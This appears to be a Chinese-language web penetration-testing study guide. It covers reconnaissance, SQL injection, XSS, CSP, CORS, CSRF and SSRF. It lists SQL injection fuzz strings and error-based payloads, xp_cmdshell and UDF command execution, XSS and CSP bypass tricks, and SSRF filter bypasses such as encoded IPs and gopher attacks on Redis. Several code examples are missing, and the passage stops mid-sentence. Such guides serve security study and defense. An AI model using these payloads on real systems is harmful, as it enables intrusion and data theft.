主題備用名稱 (Subject Alternate Name, SAN),簡單來說,在需要多個域名,并将其用于各項服務時,多使用SAN證書。SAN允許在安全證書中使用subjectAltName字段将多種值與證書關聯,這些值被稱為主題備用名稱。

域傳送漏洞

DNS域傳送 (zone transfer) 指的是備援備份伺服器使用來自主伺服器的資料重新整理自己的域 (zone) 資料庫。這是為了防止主伺服器因意外不可用時影響到整個域名的解析。

一般來說,域傳送操作應該隻允許可信的備用DNS伺服器發起,但是如果錯誤配置了授權,那麼任意使用者都可以獲得整個DNS伺服器的域名資訊。這種錯誤授權被稱作是DNS域傳送漏洞。

Passive DNS

Passive DNS被動的從遞歸域名伺服器記錄來自不同域名伺服器的響應,形成資料庫。利用Passive DNS資料庫可以知道域名曾綁定過哪些IP,IP曾關聯到哪些域名,域名最早/最近出現的時間,為測試提供較大的幫助。Virustotal、passivetotal、CIRCL等網站都提供了Passive DNS資料庫的查詢。

泛解析

泛解析是把 *.example.com 的所有A記錄都解析到某個IP 位址上,在子域名枚舉時需要處理這種情況以防生成大量無效的記錄。

CNAME即Canonical name,又稱alias,将域名指向另一個域名。其中可能包含其他關聯業務的資訊。很多網站使用的CDN加速功能利用了該記錄。

MX記錄即Mail Exchanger,記錄了發送電子郵件時域名對應的伺服器位址。可以用來尋找SMTP伺服器資訊。

NS (Name Server) 記錄是域名伺服器的記錄,用來指定域名由哪個DNS伺服器來進行解析。

SPF (Sender Policy Framework) 是為了防止垃圾郵件而提出來的一種DNS記錄類型,是一種TXT類型的記錄,用于登記某個域名擁有的用來外發郵件的所有IP位址。通過SPF記錄可以擷取相關的IP資訊,常用指令為 <code>dig example.com txt</code> 。

CDN驗證

可通過多地ping的方式确定目标是否使用了CDN,常用的網站有 <code>http://ping.chinaz.com/</code> <code>https://asm.ca.com/en/ping.php</code> 等。

域名查找

使用了CDN的域名的父域或者子域名不一定使用了CDN,可以通過這種方式去查找對應的IP。

曆史記錄查找

CDN可能是在網站上線一段時間後才上線的,可以通過查找域名解析記錄的方式去查找真實IP。

郵件資訊

通過社會工程學的方式進行郵件溝通,從郵件頭中擷取IP位址,IP位址可能是網站的真實IP或者是目标的出口IP。

子域爆破

在内網等不易用到以上技巧的環境,或者想監測新域名上線時,可以通過批量嘗試的方式,找到有效的域名。

緩存探測技術

在企業網絡中通常都會配置DNS伺服器為網絡内的主機提供域名解析服務。域名緩存偵測(DNS Cache Snooping)技術就是向這些伺服器發送域名解析請求,但并不要求使用遞歸模式,用于探測是否請求過某個域名。這種方式可以用來探測是否使用了某些軟體,尤其是安全軟體。

FTP (21/TCP)

SSH (22/TCP)

Telent (23/TCP)

SMTP (25/TCP)

DNS (53/UDP)

DHCP 67/68

TFTP (69/TCP)

HTTP (80/TCP)

Kerberos (88/TCP)

POP3 (110/TCP)

RPC (135/TCP)

NetBIOS (137/UDP &amp; 138/UDP)

NetBIOS / Samba (139/TCP)

SNMP (161/TCP)

LDAP (389/TCP)

HTTPS (443/TCP)

SMB (445/TCP)

Linux Rexec (512/TCP &amp; 513/TCP &amp; 514/TCP)

Rsync (873/TCP)

RPC (1025/TCP)

Java RMI (1090/TCP &amp; 1099/TCP)

MSSQL (1433/TCP)

Oracle (1521/TCP)

NFS (2049/TCP)

ZooKeeper (2171/TCP &amp; 2375/TCP)

Docker Remote API (2375/TCP)

MySQL (3306/TCP)

RDP / Terminal Services (3389/TCP)

Postgres (5432/TCP)

VNC (5900/TCP)

CouchDB (5984/TCP)

WinRM (5985/TCP)

Redis (6379/TCP)

Kubernetes API Server (6443/TCP &amp;&amp; 10250/TCP)

JDWP (8000/TCP)

ActiveMQ (8061/TCP)

Jenkin (8080/TCP)

Elasticsearch (9200/TCP)

Memcached (11211/TCP)

RabbitMQ (15672/TCP &amp; 15692/TCP &amp; 25672/TCP)

MongoDB (27017/TCP)

Hadoop (50070/TCP &amp; 50075/TCP)

除了以上列出的可能出現的問題,暴露在公網上的服務若不是最新版,都可能存在已經公開的漏洞

全掃描

掃描主機嘗試使用三次握手與目标主機的某個端口建立正規的連接配接,若成功建立連接配接,則端口處于開放狀态,反之處于關閉狀态。

全掃描實作簡單,且以較低的權限就可以進行該操作。但是在流量日志中會有大量明顯的記錄。

半掃描

半掃描也稱SYN掃描,在半掃描中,僅發送SYN資料段,如果應答為RST,則端口處于關閉狀态,若應答為SYN/ACK,則端口處于監聽狀态。不過這種方式需要較高的權限,而且現在的大部分防火牆已經開始對這種掃描方式做處理。

FIN掃描

FIN掃描是向目标發送一個FIN資料包,如果是開放的端口,會傳回RST資料包,關閉的端口則不會傳回資料包,可以通過這種方式來判斷端口是否打開。

這種方式并不在TCP三向交握的狀态中,是以不會被記錄,相對SYN掃描要更隐蔽一些。

Jenkins

Gitlab

Zabbix

Shodan

ZoomEye

SQL注入是一種代碼注入技術,用于攻擊資料驅動的應用程式。 在應用程式中,如果沒有做恰當的過濾,則可能使得惡意的SQL語句被插入輸入字段中執行(例如将資料庫内容轉儲給攻擊者)。

根據使用的技巧,SQL注入類型可分為

盲注

報錯注入:應用會顯示全部或者部分的報錯資訊

堆疊注入:有的應用可以加入 <code>;</code> 後一次執行多條語句

其他

另外也可以根據擷取資料的方式分為3類

inband,利用Web應用來直接擷取資料,如報錯注入,這類注入都是通過站點的響應或者錯誤回報來提取資料。

inference,通過Web的一些反映來推斷資料,如布爾盲注,也就是我們通俗的盲注, 通過web應用的其他改變來推斷資料。

out of band (OOB)通過其他傳輸方式來獲得資料,比如DNS解析協定和電子郵件。

常見的注入點

GET/POST/PUT/DELETE參數

X-Forwarded-For

檔案名

Fuzz注入點

<code>'</code> / <code>"</code>

<code>1/1</code>

<code>1/0</code>

<code>and 1=1</code>

<code>" and "1"="1</code>

<code>and 1=2</code>

<code>or 1=1</code>

<code>or 1=</code>

<code>' and '1'='1</code>

<code>+</code> <code>-</code> <code>^</code> <code>*</code> <code>%</code> <code>/</code>

<code>&lt;&lt;</code> <code>&gt;&gt;</code> <code>||</code> <code>|</code> <code>&amp;</code> <code>&amp;&amp;</code>

<code>~</code>

<code>!</code>

<code>@</code>

反引号執行

測試用常量

<code>@@version</code>

<code>@@servername</code>

<code>@@language</code>

<code>@@spid</code>

測試列數

例如 <code>http://www.foo.com/index.asp?id=12+union+select+null,null--</code> ,不斷增加 <code>null</code> 至不傳回

報錯注入

<code>select 1/0</code>

<code>select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a</code>

<code>extractvalue(1, concat(0x5c,(select user())))</code>

<code>updatexml(0x3a,concat(1,(select user())),1)</code>

<code>exp(~(SELECT * from(select user())a))</code>

<code>ST_LatFromGeoHash((select * from(select * from(select user())a)b))</code>

<code>GTID_SUBSET(version(), 1)</code>

基于geometric的報錯注入

<code>GeometryCollection((select * from (select * from(select user())a)b))</code>

<code>polygon((select * from(select * from(select user())a)b))</code>

<code>multipoint((select * from(select * from(select user())a)b))</code>

<code>multilinestring((select * from(select * from(select user())a)b))</code>

<code>LINESTRING((select * from(select * from(select user())a)b))</code>

<code>multipolygon((select * from(select * from(select user())a)b))</code>

其中需要注意的是,基于exp函數的報錯注入在MySQL 5.5.49後的版本已經不再生效,具體可以參考這個 commit 95825f 。

而以上清單中基于geometric的報錯注入在這個 commit 5caea4 中被修複,在5.5.x較後的版本中同樣不再生效。

堆疊注入

<code>;select 1</code>

注釋符

<code>#</code>

<code>--+</code>

<code>/*xxx*/</code>

<code>/*!xxx*/</code>

<code>/*!50000xxx*/</code>

判斷過濾規則

是否有trunc

是否過濾某個字元

是否過濾關鍵字

slash和編碼

擷取資訊

判斷資料庫類型

判斷資料庫表

版本、主機名、使用者名、庫名

表和字段

測試權限

檔案操作

帶外通道

UDF提權

UDF(User Defined Function,使用者自定義函數)是MySQL提供的一個功能,可以通過編寫DLL擴充為MySQL添加新函數,擴充其功能。

當獲得MySQL權限之後,即可通過這種方式上傳自定義的擴充檔案,從MySQL中執行系統指令。

MySQL

sleep <code>sleep(1)</code>

benchmark <code>BENCHMARK(5000000, MD5('test'))</code>

字元串連接配接

version

識别用函數

Oracle

SQLServer

WAITFOR <code>WAITFOR DELAY '00:00:10';</code>

SERVERNAME <code>SELECT @@SERVERNAME</code>

version <code>SELECT @@version</code>

常量

PostgreSQL

sleep <code>pg_sleep(1)</code>

編碼繞過

注釋

隻過濾了一次時

相同功能替換

HTTP參數

緩沖區溢出

二次注入有長度限制時,通過多句執行的方法改掉資料庫該字段的長度繞過

常見Payload

Version

Comment

Space

使用者資訊

使用者權限

List User

資料庫資訊

執行指令

Ascii

Delay

Change Password

Trick

檔案讀取

目前查詢語句

hostname

伺服器資訊

系統資料庫讀寫

<code>xp_regread</code>

<code>xp_regwrite</code>

<code>xp_regdeletvalue</code>

<code>xp_regdeletkey</code>

<code>xp_regaddmultistring</code>

<code>1=convert(int,(db_name()))</code>

常用函數

SUSER_NAME()

USER_NAME()

PERMISSIONS()

DB_NAME()

FILE_NAME()

TYPE_NAME()

COL_NAME()

DNS OOB

fn_xe_file_target_read_file

fn_get_audit_file

fn_trace_gettable

其他常用存儲過程

sp_execute_external_script

sp_makewebtask

sp_OACreate

sp_OADestroy

sp_OAGetErrorInfo

sp_OAGetProperty

sp_OAMethod

sp_OASetProperty

sp_OAStop

xp_cmdshell

xp_dirtree

xp_enumerrorlogs

xp_enumgroups

xp_fixeddrives

xp_getfiledetails

xp_loginconfig

Current User

Current Database

List Database

List Tables

List Columns

If

Read File

Blind

Error Based

報錯注入常見函數

extractvalue

updatexml

GeometryCollection

linestring

multilinestring

multipoint

multipolygon

polygon

exp

寫檔案

寫檔案前提

root 權限

知曉檔案絕對路徑

寫入的路徑存在寫入權限

secure_file_priv 允許向對應位置寫入

<code>select count(file_priv) from mysql.user</code>

基于 into 寫檔案

dumpfile和outfile不同在于,outfile會在行末端寫入新行,會轉義換行符,如果寫入二進制檔案,很可能被這種特性破壞

基于 log 寫檔案

SQL注入是因為解釋器将傳入的資料當成指令執行而導緻的,預編譯是用于解決這個問題的一種方法。和普通的執行流程不同,預編譯将一次查詢通過兩次互動完成,第一次互動發送查詢語句的模闆,由後端的SQL引擎進行解析為AST或Opcode,第二次互動發送資料,代入AST或Opcode中執行。因為此時文法解析已經完成,是以不會再出現混淆資料和代碼的過程。

模拟預編譯

為了防止低版本資料庫不支援預編譯的情況,模拟預編譯會在用戶端内部模拟參數綁定的過程,進行自定義的轉義。

繞過

預編譯使用錯誤

預編譯隻是使用占位符替代的字段值的部分,如果第一次互動傳入的指令使用了字元串拼接,使得指令是攻擊者可控的,那麼預編譯不會生效。

部分參數不可預編譯

在有的情況下,資料庫處理引擎會檢查資料表和資料列是否存在,是以資料表名和列名不能被占位符所替代。這種情況下如果表名和列名可控,則可能引入漏洞。

預編譯實作錯誤

部分語言引擎在實作上存在一定問題,可能會存在繞過漏洞。

XSS全稱為Cross Site Scripting,為了和CSS分開簡寫為XSS,中文名為跨站腳本。該漏洞發生在使用者端,是指在渲染過程中發生了不在預期過程中的JavaScript代碼執行。XSS通常被用于擷取Cookie、以受攻擊者的身份進行操作等行為。

反射型XSS

反射型XSS是比較常見和廣泛的一類,舉例來說,當一個網站的代碼中包含類似下面的語句:<code>hello, $_GET['user']";?&gt;</code> ,那麼在通路時設定 <code>/?user=alert("hack")</code> ,則可執行預設好的JavaScript代碼。

反射型XSS通常出現在搜尋等功能中,需要被攻擊者點選對應的連結才能觸發,且受到XSS Auditor、NoScript等防禦手段的影響較大。

儲存型XSS

儲存型XSS相比反射型來說危害較大,在這種漏洞中,攻擊者能夠把攻擊載荷存入伺服器的資料庫中,造成持久化的攻擊。

DOM XSS

DOM型XSS不同之處在于DOM型XSS一般和伺服器的解析響應沒有直接關系,而是在JavaScript腳本動态執行的過程中産生的。

例如

輸入 <code>x' onerror='javascript:alert(/xss/)</code> 即可觸發。

Blind XSS

Blind XSS是儲存型XSS的一種,它儲存在某些存儲中,當一個“受害者”通路這個頁面時執行,并且在文檔對象模型(DOM)中呈現payload。 它被稱為Blind的原因是因為它通常發生在通常不暴露給使用者的功能上。

使用者的Cookie被擷取,其中可能存在Session ID等敏感資訊。若伺服器端沒有做相應防護,攻擊者可用對應Cookie登陸伺服器。

攻擊者能夠在一定限度内記錄使用者的鍵盤輸入。

攻擊者通過CSRF等方式以使用者身份執行危險操作。

XSS蠕蟲。

擷取使用者浏覽器資訊。

利用XSS漏洞掃描使用者内網。

同源政策限制了不同源之間如何進行資源互動,是用于隔離潛在惡意檔案的重要安全機制。 是否同源由URL決定,URL由協定、域名、端口和路徑組成,如果兩個URL的協定、域名和端口相同,則表示他們同源。

file域的同源政策

在之前的浏覽器中,任意兩個file域的URI被認為是同源的。本地磁盤上的任何HTML檔案都可以讀取本地磁盤上的任何其他檔案。

從Gecko 1.9開始,檔案使用了更細緻的同源政策,隻有當源檔案的父目錄是目标檔案的祖先目錄時,檔案才能讀取另一個檔案。

cookie的同源政策

cookie使用不同的源定義方式,一個頁面可以為本域和任何父域設定cookie,隻要是父域不是公共字尾(public suffix)即可。

不管使用哪個協定(HTTP/HTTPS)或端口号,浏覽器都允許給定的域以及其任何子域名通路cookie。設定 cookie時,可以使用 <code>domain</code> / <code>path</code> / <code>secure</code> 和 <code>http-only</code> 标記來限定其通路性。

是以 <code>https://localhost:8080/</code> 和 <code>http://localhost:8081/</code> 的Cookie是共享的。

Flash/SilverLight跨域

浏覽器的各種插件也存在跨域需求。通常是通過在伺服器配置crossdomain.xml,設定本服務允許哪些域名的跨域通路。

用戶端會請求此檔案,如果發現自己的域名在通路清單裡,就發起真正的請求,否則不發送請求。

源的更改

同源政策認為域和子域屬于不同的域,例如 <code>child1.a.com</code> 與 <code>a.com</code> / <code>child1.a.com</code> 與 <code>child2.a.com</code> / <code>xxx.child1.a.com</code> 與 <code>child1.a.com</code> 兩兩不同源。

對于這種情況,可以在兩個方面各自設定 <code>document.domain='a.com'</code> 來改變其源來實作以上任意兩個頁面之間的通信。

另外因為浏覽器單獨儲存端口号,這種指派會導緻端口号被重寫為 <code>null</code> 。

跨源通路

同源政策控制了不同源之間的互動,這些互動通常分為三類:

通常允許跨域寫操作(Cross-origin writes)

通常允許跨域資源嵌入(Cross-origin embedding)

通常不允許跨域讀操作(Cross-origin reads)

可能嵌入跨源的資源的一些示例有:

`` 标簽嵌入跨域腳本。文法錯誤資訊隻能在同源腳本中捕捉到。

`` 标簽嵌入CSS。由于CSS的松散的文法規則,CSS的跨域需要一個設定正确的Content-Type 消息頭。

<code>/</code> / `` 嵌入多媒體資源。

<code></code> 和 `` 的插件。

<code>@font-face</code> 引入的字型。一些浏覽器允許跨域字型( cross-origin fonts),一些需要同源字型(same-origin fonts)。

<code>和</code> 載入的任何資源。站點可以使用X-Frame-Options消息頭來阻止這種形式的跨域互動。

JSONP跨域

JSONP就是利用 `` 标簽的跨域能力實作跨域資料的通路,請求動态生成的JavaScript腳本同時帶一個callback函數名作為參數。

服務端收到請求後,動态生成腳本産生資料,并在代碼中以産生的資料為參數調用callback函數。

JSONP也存在一些安全問題,例如當對傳入/傳回參數沒有做校驗就直接執行傳回的時候,會造成XSS問題。沒有做Referer或Token校驗就給出資料的時候,可能會造成資料洩露。

另外JSONP在沒有設定callback函數的白名單情況下,可以合法的做一些設計之外的函數調用,引入問題。這種攻擊也被稱為SOME攻擊。

跨源腳本API通路

Javascript的APIs中,如 <code>iframe.contentWindow</code> , <code>window.parent</code>, <code>window.open</code> 和 <code>window.opener</code> 允許文檔間互相引用。當兩個文檔的源不同時,這些引用方式将對 <code>window</code> 和 <code>location</code> 對象的通路添加限制。

<code>window</code> 允許跨源通路的方法有

window.blur

window.close

window.focus

window.postMessage

<code>window</code> 允許跨源通路的屬性有

window.closed

window.frames

window.length

window.location

window.opener

window.parent

window.self

window.top

window.window

其中 <code>window.location</code> 允許讀/寫,其他的屬性隻允許讀

跨源資料存儲通路

存儲在浏覽器中的資料,如 <code>localStorage</code> 和 <code>IndexedDB</code>,以源進行分割。每個源都擁有自己單獨的存儲空間,一個源中的Javascript腳本不能對屬于其它源的資料進行讀寫操作。

CORS

CORS是一個W3C标準,全稱是跨域資源共享(Cross-origin resource sharing)。通過這個标準,可以允許浏覽器讀取跨域的資源。

常見請求頭

Origin

Access-Control-Request-Method

Access-Control-Request-Headers

常見傳回頭

Access-Control-Allow-Origin

Access-Control-Expose-Headers

Access-Control-Max-Age

Access-Control-Allow-Credentials

Access-Control-Allow-Methods

Access-Control-Allow-Headers

防禦建議

如非必要不開啟CORS

定義詳細的白名單,不使用通配符,僅配置所需要的頭

配置 <code>Vary: Origin</code> 頭部

如非必要不使用 <code>Access-Control-Allow-Credentials</code>

限制緩存的時間

阻止跨源通路

阻止跨域寫操作,可以檢測請求中的 <code>CSRF token</code> ,這個标記被稱為Cross-Site Request Forgery (CSRF) 标記。

阻止資源的跨站讀取,因為嵌入資源通常會暴露資訊,需要保證資源是不可嵌入的。但是多數情況下浏覽器都不會遵守 <code>Content-Type</code> 消息頭。例如如果在HTML文檔中指定 `` 标記,則浏覽器會嘗試将HTML解析為JavaScript。

Content Security Policy,簡稱 CSP,譯作内容安全政策。顧名思義,這個規範與内容安全有關,主要是用來定義哪些資源可以被目前頁面加載,減少 XSS 的發生。

配置

CSP政策可以通過 HTTP 頭資訊或者 meta 元素定義。

CSP 有三類:

Content-Security-Policy (Google Chrome)

X-Content-Security-Policy (Firefox)

X-WebKit-CSP (WebKit-based browsers, e.g. Safari)

HTTP Content-Security-Policy 頭可以指定一個或多個資源是安全的,而Content-Security-Policy-Report-Only則是允許伺服器檢查(非強制)一個政策。多個頭的政策定義由優先采用最先定義的。

HTML Meta :

指令說明

指令

說明

default-src

定義資源預設加載政策

connect-src

定義 Ajax、WebSocket 等加載政策

font-src

定義 Font 加載政策

frame-src

定義 Frame 加載政策

img-src

定義圖檔加載政策

media-src

定義 、

<video> 等引用資源加載政策</video>

object-src

script-src

定義 JS 加載政策

style-src

定義 CSS 加載政策

base-uri

定義 根URL政策,不使用default-src作為預設值

sandbox

值為 allow-forms,對資源啟用 sandbox

report-uri

值為 /report-uri,送出日志

關鍵字

<code>-</code>

<code>none</code>

<code>self</code>

<code>data:</code>

<code>domain.example.com</code>

<code>\*.example.com</code>

<code>https://cdn.com</code>

<code>https:</code>

<code>unsafe-inline</code>

<code>unsafe-eval</code>

<code>nonce-'</code>

<code>-'</code>

配置範例

允許執行内聯 JS 代碼,但不允許加載外部資源

Bypass

預加載

浏覽器為了增強使用者體驗,讓浏覽器更有效率,就有一個預加載的功能,大體是利用浏覽器空閑時間去加載指定的内容,然後緩存起來。這個技術又細分為DNS-prefetch、subresource、prefetch、preconnect、prerender。

HTML5頁面預加載是用link标簽的rel屬性來指定的。如果csp頭有unsafe-inline,則用預加載的方式可以向外界送出請求,例如

另外,不是所有的頁面都能夠被預加載,當資源類型如下時,講阻止預加載操作:

URL中包含下載下傳資源

頁面中包含音頻、視訊

POST、PUT和DELET操作的ajax請求

HTTP認證

HTTPS頁面

含惡意軟體的頁面

彈窗頁面

占用資源很多的頁面

打開了chrome developer tools開發工具

MIME Sniff

舉例來說,csp禁止跨站讀取腳本,但是可以跨站讀img,那麼傳一個含有腳本的img,再<code>&lt;script href='http://xxx.com/xx.jpg'&gt;</code>,這裡csp認為是一個img,繞過了檢查,如果網站沒有回正确的mime type,浏覽器會進行猜測,就可能加載該img作為腳本

302跳轉

對于302跳轉繞過CSP而言,實際上有以下幾點限制:

跳闆必須在允許的域内。

要加載的檔案的host部分必須跟允許的域的host部分一緻

iframe

當可以執行代碼時,可以建立一個源為 <code>css</code> <code>js</code> 等靜态檔案的frame,在配置不當時,該frame并不存在csp,則在該frame下再次建立frame,達到bypass的目的。同理,使用 <code>../../../</code> <code>/%2e%2e%2f</code> 等可能觸發伺服器報錯的連結也可以到達相應的目的。

當script-src為nonce或無限制,且base-uri無限制時,可通過 <code>base</code> 标簽修改根URL來bypass,如下加載了http://evil.com/main.js

location 繞過

可上傳SVG時,通過惡意SVG繞過同源站點

存在CRLF漏洞且可控點在CSP上方時,可以注入HTTP響應中影響CSP解析

CND Bypass,如果網站信任了某個CDN, 那麼可利用相應CDN的靜态資源bypass

Angular versions &lt;1.5.9 &gt;=1.5.0,存在漏洞 Git Pull Request

jQuery sourcemap

a标簽的ping屬性

For FireFox `

``

僅限制 <code>script-src</code> 時:

URL

<code>location</code>

<code>location.href</code>

<code>location.pathname</code>

<code>location.search</code>

<code>location.hash</code>

<code>document.URL</code>

<code>document.documentURI</code>

<code>document.baseURI</code>

Navigation

<code>window.name</code>

<code>document.referrer</code>

Communication

<code>Ajax</code>

<code>Fetch</code>

<code>WebSocket</code>

<code>PostMessage</code>

Storage

<code>Cookie</code>

<code>LocalStorage</code>

<code>SessionStorage</code>

執行JavaScript

<code>eval(payload)</code>

<code>setTimeout(payload, 100)</code>

<code>setInterval(payload, 100)</code>

<code>Function(payload)()</code>

<code>payload</code>

加載URL

<code>location=javascript:alert(/xss/)</code>

<code>location.href=javascript:alert(/xss/)</code>

<code>location.assign(javascript:alert(/xss/))</code>

<code>location.replace(javascript:alert(/xss/))</code>

執行HTML

<code>xx.innerHTML=payload</code>

<code>xx.outerHTML=payload</code>

<code>document.write(payload)</code>

<code>document.writeln(payload)</code>

HTML過濾

使用一些白名單或者黑名單來過濾使用者輸入的HTML,以實作過濾的效果。例如DOMPurify等工具都是用該方式實作了XSS的保護。

X-Frame

X-Frame-Options 響應頭有三個可選的值:

DENY

SAMEORIGIN

ALLOW-FROM

XSS保護頭

基于 Webkit 核心的浏覽器(比如Chrome)在特定版本範圍内有一個名為XSS auditor的防護機制,如果浏覽器檢測到了含有惡意代碼的輸入被呈現在HTML文檔中,那麼這段呈現的惡意代碼要麼被删除,要麼被轉義,惡意代碼不會被正常的渲染出來。

而浏覽器是否要攔截這段惡意代碼取決于浏覽器的XSS防護設定。

要設定浏覽器的防護機制,則可使用X-XSS-Protection字段 該字段有三個可選的值

<code>0</code> : 表示關閉浏覽器的XSS防護機制

<code>1</code> : 删除檢測到的惡意代碼, 如果響應封包中沒有看到 X-XSS-Protection 字段,那麼浏覽器就認為X-XSS-Protection配置為1,這是浏覽器的預設設定

<code>1; mode=block</code> : 如果檢測到惡意代碼,在不渲染惡意代碼

FireFox沒有相關的保護機制,如果需要保護,可使用NoScript等相關插件。

利用&lt;&gt;标記

利用html屬性

利用編碼繞過

大小寫混淆

對标簽屬性值轉碼

産生事件

css跨站解析

長度限制bypass

<code>.</code>

過濾引号用 <code>`</code> 繞過

在計算機科學與電信領域,負載(英語:Payload)是資料傳輸中所欲傳輸的實際資訊,通常也被稱作實際資料或者資料體。信頭與中繼資料,或稱為開銷資料,僅用于輔助資料傳輸。

在計算機病毒或電腦蠕蟲領域中,負載指的是進行有害操作的部分,例如:資料銷毀、發送垃圾郵件等。

…………

基于存儲

有時候網站會将資訊存儲在Cookie或localStorage,而因為這些資料一般是網站主動存儲的,很多時候沒有對Cookie或localStorage中取出的資料做過濾,會直接将其取出并展示在頁面中,甚至存了JSON格式的資料時,部分站點存在 <code>eval(data)</code> 之類的調用。是以當有一個XSS時,可以把payload寫入其中,在對應條件下觸發。

在一些條件下,這種利用方式可能因為一些特殊字元造成問題,可以使用 <code>String.fromCharCode</code> 來繞過。

Service Worker

Service Worker可以攔截http請求,起到類似本地代理的作用,故可以使用Service Worker Hook一些請求,在請求中傳回攻擊代碼,以實作持久化攻擊的目的。

在Chrome中,可通過 <code>chrome://inspect/#service-workers</code> 來檢視Service Worker的狀态,并進行停止。

AppCache

在可控的網絡環境下(公共wifi),可以使用AppCache機制,來強制存儲一些Payload,未清除的情況下,使用者通路站點時對應的payload會一直存在。

跨站請求僞造 (Cross-Site Request Forgery, CSRF),也被稱為 One Click Attack 或者 Session Riding ,通常縮寫為CSRF,是一種對網站的惡意利用。盡管聽起來像XSS,但它與XSS非常不同,XSS利用站點内的信任使用者,而CSRF則通過僞裝來自受信任使用者的請求來利用受信任的網站。

分類

資源包含

資源包含是在大多數介紹CSRF概念的示範或基礎課程中可能看到的類型。這種類型歸結為控制HTML标簽所包含的資源的攻擊者。如果攻擊者能夠影響URL被加載的話,包含遠端資源的任何标簽都可以完成攻擊。

由于缺少對Cookie的源點檢查,如上所述,此攻擊不需要XSS,可以由任何攻擊者控制的站點或站點本身執行。此類型僅限于GET請求,因為這些是浏覽器對資源URL唯一的請求類型。這種類型的主要限制是它需要錯誤地使用安全的HTTP請求方式。

基于表單

通常在正确使用安全的請求方式時看到。攻擊者建立一個想要受害者送出的表單; 其包含一個JavaScript片段,強制受害者的浏覽器送出。

該表單可以完全由隐藏的元素組成,以緻受害者很難發現它。

如果處理cookies不當,攻擊者可以在任何站點上發動攻擊,隻要受害者使用有效的cookie登入,攻擊就會成功。如果請求是有目的性的,成功的攻擊将使受害者回到他們平時正常的頁面。該方法對于攻擊者可以将受害者指向特定頁面的網絡釣魚攻擊特别有效。

XMLHttpRequest

XMLHttpRequest可能是最少看到的方式,由于許多現代Web應用程式依賴XHR,許多應用花費大量的時間來建構和實作這一特定的對策。

基于XHR的CSRF通常由于SOP而以XSS有效載荷的形式出現。沒有跨域資源共享政策 (Cross-Origin Resource Sharing, CORS),XHR僅限于攻擊者托管自己的有效載荷的原始請求。

這種類型的CSRF的攻擊有效載荷基本上是一個标準的XHR,攻擊者已經找到了一些注入受害者浏覽器DOM的方式。

防禦

通過CSRF-token或者驗證碼來檢測使用者送出

驗證 Referer/Content-Type

對于使用者修改删除等操作最好都使用POST操作

避免全站通用的Cookie,嚴格設定Cookie的域

服務端請求僞造(Server Side Request Forgery, SSRF)指的是攻擊者在未能取得伺服器所有權限時,利用伺服器漏洞以伺服器的身份發送一條構造好的請求給伺服器所在内網。SSRF攻擊通常針對外部網絡無法直接通路的内部系統。

漏洞危害

SSRF可以對外網、伺服器所在内網、本地進行端口掃描,攻擊運作在内網或本地的應用,或者利用File協定讀取本地檔案。

内網服務防禦相對外網服務來說一般會較弱,甚至部分内網服務為了運維友善并沒有對内網的通路設定權限驗證,是以存在SSRF時,通常會造成較大的危害。

利用方式

SSRF利用存在多種形式以及不同的場景,針對不同場景可以使用不同的利用和繞過方式。

以curl為例, 可以使用dict協定操作Redis、file協定讀檔案、gopher協定反彈Shell等功能,常見的Payload如下:

相關危險函數

SSRF涉及到的危險函數主要是網絡通路,支援僞協定的網絡讀取。以PHP為例,涉及到的函數有 <code>file_get_contents()</code> / <code>fsockopen()</code> / <code>curl_exec()</code> 等。

過濾繞過

更改IP位址寫法

一些開發者會通過對傳過來的URL參數進行正則比對的方式來過濾掉内網IP,如采用如下正規表達式:

<code>^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$</code>

<code>^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$</code>

<code>^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$</code>

對于這種過濾我們采用改編IP的寫法的方式進行繞過,例如192.168.0.1這個IP位址可以被改寫成:

8進制格式:0300.0250.0.1

16進制格式:0xC0.0xA8.0.1

10進制整數格式:3232235521

16進制整數格式:0xC0A80001

合并後兩位:1.1.278 / 1.1.755

合并後三位:1.278 / 1.755 / 3.14159267

另外IP中的每一位,各個進制可以混用。

通路改寫後的IP位址時,Apache會報400 Bad Request,但Nginx、MySQL等其他服務仍能正常工作。

另外,0.0.0.0這個IP可以直接通路到本地,也通常被正則過濾遺漏。

使用解析到内網的域名

如果服務端沒有先解析IP再過濾内網位址,我們就可以使用localhost等解析到内網的域名。

另外 <code>xip.io</code> 提供了一個友善的服務,這個網站的子域名會解析到對應的IP,例如192.168.0.1.xip.io,解析到192.168.0.1。

利用解析URL所出現的問題

在某些情況下,後端程式可能會對通路的URL進行解析,對解析出來的host位址進行過濾。這時候可能會出現對URL參數解析不當,導緻可以繞過過濾。

比如 <code>http://[email protected]/</code> 當後端程式通過不正确的正規表達式(比如将http之後到com為止的字元内容,也就是www.baidu.com,認為是通路請求的host位址時)對上述URL的内容進行解析的時候,很有可能會認為通路URL的host為www.baidu.com,而實際上這個URL所請求的内容都是192.168.0.1上的内容。

利用跳轉

如果後端伺服器在接收到參數後,正确的解析了URL的host,并且進行了過濾,我們這個時候可以使用跳轉的方式來進行繞過。

可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服務跳轉,但是由于URL中包含了192.168.0.1這種内網IP位址,可能會被正規表達式過濾掉,可以通過短位址的方式來繞過。

常用的跳轉有302跳轉和307跳轉,差別在于307跳轉會轉發POST請求中的資料等,但是302跳轉不會。

通過各種非HTTP協定

如果伺服器端程式對通路URL所采用的協定進行驗證的話,可以通過非HTTP協定來進行利用。

比如通過gopher,可以在一個url參數中構造POST或者GET請求,進而達到攻擊内網應用的目的。例如可以使用gopher協定對與内網的Redis服務進行攻擊,可以使用如下的URL:

除了gopher協定,File協定也是SSRF中常用的協定,該協定主要用于通路本地計算機中的檔案,我們可以通過類似 <code>file:///path/to/file</code> 這種格式來通路計算機本地檔案。使用file協定可以避免服務端程式對于所通路的IP進行的過濾。例如我們可以通過 <code>file:///d:/1.txt</code> 來通路D盤中1.txt的内容。

DNS Rebinding

一個常用的防護思路是:對于使用者請求的URL參數,首先伺服器端會對其進行DNS解析,然後對于DNS伺服器傳回的IP位址進行判斷,如果在黑名單中,就禁止該次請求。

但是在整個過程中,第一次去請求DNS服務進行域名解析到第二次服務端去請求URL之間存在一個時間差,利用這個時間差,可以進行DNS重綁定攻擊。

要完成DNS重綁定攻擊,我們需要一個域名,并且将這個域名的解析指定到我們自己的DNS Server,在我們的可控的DNS Server上編寫解析服務,設定TTL時間為0。這樣就可以進行攻擊了,完整的攻擊流程為:

